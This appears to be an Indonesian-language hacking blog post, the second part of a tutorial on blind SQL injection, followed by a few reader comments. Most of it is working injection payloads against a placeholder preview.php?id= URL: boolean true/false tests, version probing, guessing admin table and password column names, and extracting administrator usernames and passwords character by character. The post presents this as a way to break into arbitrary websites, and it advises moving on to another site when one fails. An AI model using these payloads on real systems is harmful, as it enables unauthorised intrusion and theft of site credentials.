Rabu, 27 Januari 2010
Blind SQL injection lanjutan 1
Waktunya gue lanjutin Blind SQLi yang belum kelar kemaren... :Dv
Kita mulai dengan teknik blind ke web yang bisa diinject dengan Query : and (select 1)=1 yaitu dimana halaman web tidak mengalami perubahan jika dimasukan Query tersebut seperti ini.
Misal :
http://www.target.com/preview.php?id=4 and (select 1)=1
Langsung aja deh!!
1. Test Blind.
Memasukan ( ' ) seperti pada pembahasan sebelumnya,seperti ini :
http://www.target.com/preview.php?id=4'
kemudian test ke-2 masukan Query : and 1=1 dan and 1=0 seperti ini :
http://www.target.com/preview.php?id=4 and 1=1
>>> harus true,jika tidak akan kesulitan menyelesaikan teknik injectNy.
http://www.target.com/preview.php?id=4 and 1=0
>>> harus false,karena pada type web ini (versi 4) hanya bisa dilihat false atau true suatu web dari Query yang dimasukkan.
2. Melihat Versi :
Query : and (@@version,1,1)=4 atau and (@@version,1,1)=5
Misal :
http://www.target.com/preview.php?id=4 and (@@version,1,1)=4
>>>jika true versi 4
http://www.target.com/preview.php?id=4 and (@@version,1,1)=5
>>>jika true versi 5
Catatan : jika true atau error keduanya,maka tinggalkan dulu karena ada teknik lain yang akan dipakai.
Test Query : and (select 1)=1 untuk melihat ketersediaan web.
Misal :
http://www.target.com/preview.php?id=4 and (select 1)=4
>>> harus true,jika tidak (error) kita tinggalin dulu karena Query yang harus dimasukan selanjutnya berbeda.
Kita anggap aja true,maka lanjut ke langkah selanjutnya dan disini kita akan bermain tebak2an untuk mencari table,dan kolomNy jadi dibutuhkan skil dan pengalaman tentang nama2 tabel dan nama2 kolom suatu web.
3. Mencari Tabel
Query : and (select 1 from table_name limit 0,1)=1
Contoh2 table_name : admin,admin_name,admin_id,administrator,superadmin,tb_admin,usr,user,users,user_name,tb_user,dll.
Misal :
http://www.target.com/preview.php?id=4 and (select 1 from table_name limit 0,1)=1
>>> menjadi
http://www.target.com/preview.php?id=4 and (select 1 from admin limit 0,1)=1
>>> sampai kita menemukan posisi true dari pengubahan table_name diatas,misal kita anggap table_name true adalah admin maka kita menuju ke langkah selanjutnya. Jika gak ketemu nyari web yang lain aja :D jadi perlu ketekunan.
4. Mencari Kolom.
Query : and (select substring(concat(1,column_name),1,1) from table_name limit 0,1)=1
A. Kolom User.
Contoh2 column_user: admin,admin_name,administrator,superadmin,dll
Misal :
http://www.target.com/preview.php?id=4 and (select substring(concat(1,admin),1,1) from admin limit 0,1)=1
>>> sampai ketemu pada kondisi true suatu web.
B. Kolom Password.
Contoh2 column_password : pwd,passwd,password,user_pass,user_password,admin_pass,admin_password,dll.
Misal :
http://www.target.com/preview.php?id=4 and (select substring(concat(1,password),1,1) from admin limit 0,1)=1
>>> sampai ketemu pada kondisi true suatu web.
5. Dumping.
Query : and ascii (substring((SELECT concat(column_user,sparate_charakter,column_password) from table_name limit 0,1),1,1))>[COUNT]
Keterangan :
>>sparate_charakter = pembatas antara kolom nama dan kolom password,dan yang biasanya dipakai :
- 0x2B = tanda [+]
- 0x3a = tanda [;]
>>[COUNT] adalah bilangan yang menandakan suatu karakter,lihat disini.
>> Kita anggap saja :
- column_user = admin
- column_password = password
- table_name = admin
>> urutan karakter yang dicari :
- 1,1 = karakter pertama.
- 2,1 = karakter kedua.
- 3,1 = karakter ketiga.
- dan seterusnya.
lanjut...
Misal :
http://www.target.com/preview.php?id=4 and ascii (substring((SELECT concat(admin,0x2B,password) from admin limit 0,1),1,1))>97
>>> naikan count sampai ketemu kondisi error pertama kali dari count,seperti ini :
http://www.target.com/preview.php?id=4 and ascii (substring((SELECT concat(admin,0x2B,password) from admin limit 0,1),1,1))>98
>>> jika sudah ketemu karakter pertama,maka cari karakter yang kedua seperti ini :
http://www.target.com/preview.php?id=4 and ascii (substring((SELECT concat(admin,0x2B,password) from admin limit 0,1),2,1))>97
>>> sampai ketemu kondisi error pertama kali,dan begitu seterusnya.
Ingat!! 1,1 menujukan karakter pertama, 2,1 menunjukan karakter kedua,dan seterusnya sampai ditemukan semua karakter dari user dan password.
Tambahan :
>> untuk mengetahui jumlah karakter yang akan dicari ganti count menjadi null ( 0 ) dan naikan penunjuk urutan karakter.
Misal :
http://www.target.com/preview.php?id=4 and ascii (substring((SELECT concat(admin,0x2B,password) from admin limit 0,1),5,1))>0
>>> jika masih true,naikkan lagi sampai kondisi false,dan bisa kita loncat2in sampai ditemukan kondisi true terahir kali.
Jika ada yang kurang jelas,tolong posting dibawah ini.
Thanks.
Langganan:
Posting Komentar (Atom)
4 komentar:
yap tapi ntar hasilnya admin n passwdnya akan terenkripsi dalam bentuk hexa, mungkin lbh bgus klu d kasih contoh hexanya sekalian
Ok bos, mungkin penjelasanya bisa dilihat di tread SQL sebelumnya.
aq gak ngerti blas ki zi...iso nyetak duwet rak si SQL kui... :s :s :s
Wkwkwkwk emang SQL kwi opo yo... Aku juga gak ngerti, tanya tuh ma yg lbh paham :D
Posting Komentar